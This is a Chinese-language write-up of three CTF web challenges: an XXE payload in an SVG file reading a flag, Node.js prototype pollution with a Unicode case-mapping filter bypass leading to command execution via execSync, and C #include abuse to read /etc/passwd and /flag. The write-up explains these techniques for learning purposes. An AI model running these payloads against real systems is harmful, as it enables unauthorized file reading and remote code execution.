[BSidesCF 2019]SVGMagic

打开题目说是SVG转换PNG也就是可以上传SVG文件

SVG是一种用XML定义的语言,SVG图形是可交互的和动态的,可以在SVG文件中嵌入动画元素或通过脚本来定义动画。
也就是说这里的SVG是个XML,并且存在可控的内容,那么自然就会想到XXE。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

这里直接声明一个file给他文件的路径就能进行LFI
知识点:/proc/self/cwd/表示当前路径

[GYCTF2020]Ez_Express

在www.zip下载到源码,
分析一下,题目提示Ez_express而这是一个nodejs框架
所以我们这题大概率就是原型链污染
原型链的特性:

1.对象(obj)中寻找这一属性
2.如果找不到,则在obj.__proto__中寻找属性
3.如果仍然找不到,则继续在obj.proto.__proto__中寻找这一属性

所以我们现在就是需要寻找到某一个点来更改属性
nodejs相关安全问题 找找能够控制数组(对象)的“键名”的操作即可:
对象merge
对象clone(其实内核就是将待操作的对象merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数:
全局搜索一下merge()以及clone()

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

接下来是就是看看我们如何调用clone这个函数了

全局搜索一下

python实现svg转换jpg_网络安全


所以我们登陆进去之后会调用到这个clone

所以第一步还是登陆

看一下登录逻辑

router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

看到在登陆路由里面如果我们提交了register她会判断你的userid如果里面含有大小写的admin就会弹窗禁言,但是登陆的action判断又必须得是大写的ADMIN

可以注意到这个地方'user':req.body.userid.toUpperCase(), 这里把我们输入的userid转换成大写了,而nodejs的大小写是有特性的,如果相像的字符通过转换之后可能会相同

javascript大小写特性

所以我们可以通过ı替代i来构造admin

python实现svg转换jpg_web_02


成功登陆进去之后就进入了这个页面

POST /action HTTP/1.1
Host: 06d41773-f22d-4716-a4d9-efcdf8ccbd2a.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://06d41773-f22d-4716-a4d9-efcdf8ccbd2a.node4.buuoj.cn:81
Connection: close
Referer: http://06d41773-f22d-4716-a4d9-efcdf8ccbd2a.node4.buuoj.cn:81/
Cookie: session=s%3Al2auPcvK__DCYsa5odvawh_AQ8CmDCkr.KfQMSNPimpKVdWhgjqvy2rP%2B1m4Ia%2Bqf6lbGLuD%2B%2Frg
Upgrade-Insecure-Requests: 1

lua=asdasd&Submit=

抓包看到我们可以跟进action路由
他将我们的输入clone到data中,所以这里我们如果污染这里的内容就可以了,那么污染哪个内容呢,我们继续跟进下面剩下的info路由

router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

这里他将一个未经赋值的outputFunctionName直接拿来使用,我们如果可以覆盖他让他执行恶意代码形成RCE就可以拿到flag
所以我们在action路由中污染
先将Content-Type改成application/json直接写入json

{
	"lua":"a",
	"__proto__":{
		"outputFunctionName":
		"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},
		"Submit":""
}

然后我们访问info路由触发污染,下载到flag

[FireshellCTF2020]Caas

是一个文件编译器

直接写入phpinfo试试

报错了

python实现svg转换jpg_web_03


发现报错了,并且报错信息里面含有.c文件,猜测这是一个c文件的编译器

所以直接写入最简单的print一个helloworld看看

#include <stdio.h>  
int main() 
{     
printf("hello, world");
}

发现他下载了一个elf文件,无法打开
看不明白了,所以查了一查,发现这里考的是C语言的预编译

利用include预处理将我们所需的文件包含进来

这里还区分了<>包裹以及单双引号包裹

python实现svg转换jpg_web_04


所以我们可以尝试LFI

利用单引号尝试:#include ‘etc/passwd’

python实现svg转换jpg_python实现svg转换jpg_05


直接利用#include </flag>

返回了Bad code!

这个不行换双引号

python实现svg转换jpg_网络安全_06


拿到flag